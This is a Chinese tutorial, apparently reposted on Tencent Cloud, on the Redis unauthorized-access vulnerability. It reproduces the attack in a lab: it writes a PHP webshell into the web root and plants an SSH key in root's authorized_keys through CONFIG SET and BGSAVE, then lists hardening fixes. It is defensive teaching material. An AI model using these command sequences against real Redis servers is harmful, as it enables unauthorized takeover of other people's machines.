前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Redis匿名访问漏洞

Redis匿名访问漏洞

作者头像
安恒网络空间安全讲武堂
发布2019-09-29 14:07:25
2.4K1
发布2019-09-29 14:07:25
举报

简介

Redis匿名访问漏洞也被称为 Redis未授权访问漏洞。是由于 Redis服务本身的特性及其运维不当造成的

Redis数据库介绍

Redis是一个数据库系统,其项目也在 github上开源。 Redis是一个高性能的 key-valueNOSQL数据库系统, Redis使用 ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型的数据库系统。

Redis的储存方式

Redis的数据虽然被写入到内存中,但是可以被保存到硬盘里,保存的形式一般有两种: RDBAOFRDB的储存形式类似于 ,MySQL调用 msqldump来储存数据,而 AOF的储存形式则是把 Redis里生成数据的过程步骤给保存到一个文件里。

漏洞原理

Redis的默认配置文件中,会绑定 0.0.0.0:6379,这样 Redis会监听一切 IP,接收一切 IP的请求。如果没有采用添加防火墙规则等相关安全策略来屏蔽非信任来源 IP访问的话,会使 Redis服务暴露在公网,从而被任意用户请求来进行登录。 Redis默认没有设置密码认证,没有进行相应的密码验证会导致任意 用户免密登录 Redis,从而读取 Redis的数据、篡改 Redis的数据或者更高危的操作。

安装Redis

代码语言:javascript
复制
$ wget
$ tar -zxvf redis
$ cd redis/
$ make && make install
$ make test

配置部署

测试环境

靶机 IP:192.168.1.10 渗透机 IP:192.168.1.11

Redis的配置

代码语言:javascript
复制
# 配置配置文件
$ cat redis.config
daemonize yes  # 以守护进程方式运行
port 6379  # 绑定本机端口
dir "."
logfile "redis-6379.log  # 日志文件
protected-mode no # 关闭保护模式
# 启动Redis
$ redis-server redis-hack.conf

Redisprotected-mode3.2后加入的新特性,因为我这里使用的是 4.0的版本,要复现的话要关闭。

漏洞复现过程

登录

192.168.1.11主机上,因为 Redis没有做任何安全措施,所以可以直接登录:

代码语言:javascript
复制
$ redis-cli -h 192.168.1.10 -p 6379

登录成功。

写WebShell

原理

Redis运行时的数据都保存在内存中,如果想要备份数据,可以以 RDB的形式保存在硬盘。

操作
代码语言:javascript
复制
192.168.1.10:6379> config set dir /var/www/html/ # 把要保存的RDB文件设置要网站根目录下、
192.168.1.10:6379> config set dbfilename hack.php # 拿Webshell
192.168.1.10:6379> set webshell "<?php phpinfo();>"  # 把一个叫做webshell的key的值设置成phpinfo函数
192.168.1.10:6379> bgsave # 调用Redis的RDB保存命令

浏览器访问 192.168.1.10/redis.php,看到 phpinfo函数执行成功:

这就意味我们有更多的东西可以写入,包括写入 WebShell等等。

配置免密登录

生成ssh-keygen

先在 192.168.1.11的渗透主机上生成 ssh的私钥与公钥:

代码语言:javascript
复制
$ ssh-keygen -t rsa
$ (echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > hack.txt # 保存公钥到hack.txt中
$ cat hack.txt | redis-cli -h 192.168.1.10 -p 6379 -x set hack-it  # 把公钥写入到redis主机
OK

再在 192.168.1.11的渗透主机上登录 Redis主机:

代码语言:javascript
复制
$ redis-cli -h 192.168.1.10 -p 6379

登录成后配置 RDB的储存方式:

代码语言:javascript
复制
192.168.1.10:6379> config set dir /root/.ssh/
192.168.1.10:6379> config set dbfilename authorized_keys
192.168.1.10:6379> bgsave  # fork一个子进程进行RDB的保存

然后通过 ssh连接机器:

代码语言:javascript
复制
$ ssh -i id_rsa root@192.168.1.10

可以看到登录成功。

修复

低权限运行Redis

避免 root用户启动 Redis服务。而选择一些权限比较低的用户运行 Redis

代码语言:javascript
复制
$ groupadd -r redis && useradd -r -g redis redis

禁止命令

通过修改配置文件来禁止一些高风险的命令。

代码语言:javascript
复制
$ vim redis.conf
...
rename-command FLUSHALL ""
rename-command CONFIG   ""
rename-command EVAL     ""
...

添加密码认证

通过配置文件

代码语言:javascript
复制
$ vim redis.conf
requirepass PASSWORD

也可以通过 Redis的命令行:

代码语言:javascript
复制
127.0.0.1:6379> config set requirepass PASSWORD

禁止外网访问

通过防火墙等配置来禁止外网访问。

总结

Redis匿名访问漏洞由不安全的运维配置引起的,作为配置 Redis的开发人员或运维人员一定要有一定的安全意识,才能更好的实现真正的安全。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-01-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 简介
  • Redis数据库介绍
    • Redis的储存方式
    • 漏洞原理
    • 安装Redis
    • 配置部署
      • 测试环境
        • Redis的配置
        • 漏洞复现过程
          • 登录
            • 写WebShell
              • 原理
              • 操作
            • 配置免密登录
              • 生成ssh-keygen
          • 修复
            • 低权限运行Redis
              • 禁止命令
                • 添加密码认证
                  • 禁止外网访问
                  • 总结
                  相关产品与服务
                  云数据库 Redis
                  腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档